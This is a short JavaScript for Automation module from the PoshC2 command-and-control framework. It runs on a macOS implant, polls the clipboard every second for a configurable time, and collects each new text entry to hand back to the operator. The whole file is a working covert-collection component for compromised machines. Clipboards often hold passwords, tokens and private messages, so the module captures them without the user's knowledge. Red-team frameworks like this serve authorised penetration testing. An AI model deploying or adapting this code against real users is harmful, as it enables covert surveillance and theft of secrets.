Files
nettitude-PoshC2/resources/modules/clipboard_monitor.js
2021-04-09 15:17:30 +01:00

20 lines
557 B
JavaScript

function clipRun(runTime){
ObjC.import('AppKit');
let cboard = [];
let pb = $.NSPasteboard.generalPasteboard;
let count = 0;
//console.log(count);
for (let i = 0; i < runTime; i++){
//console.log(pb.changeCount);
if (count < pb.changeCount){
//console.log("New data on clipboard!: ");
//console.log(pb.stringForType("NSStringPboardType").js);
cboard.push(pb.stringForType("NSStringPboardType").js);
count = pb.changeCount;
}
$.NSThread.sleepForTimeInterval(1);
}
return cboard.toString();
}
let runTime = %s;
clipRun(runTime);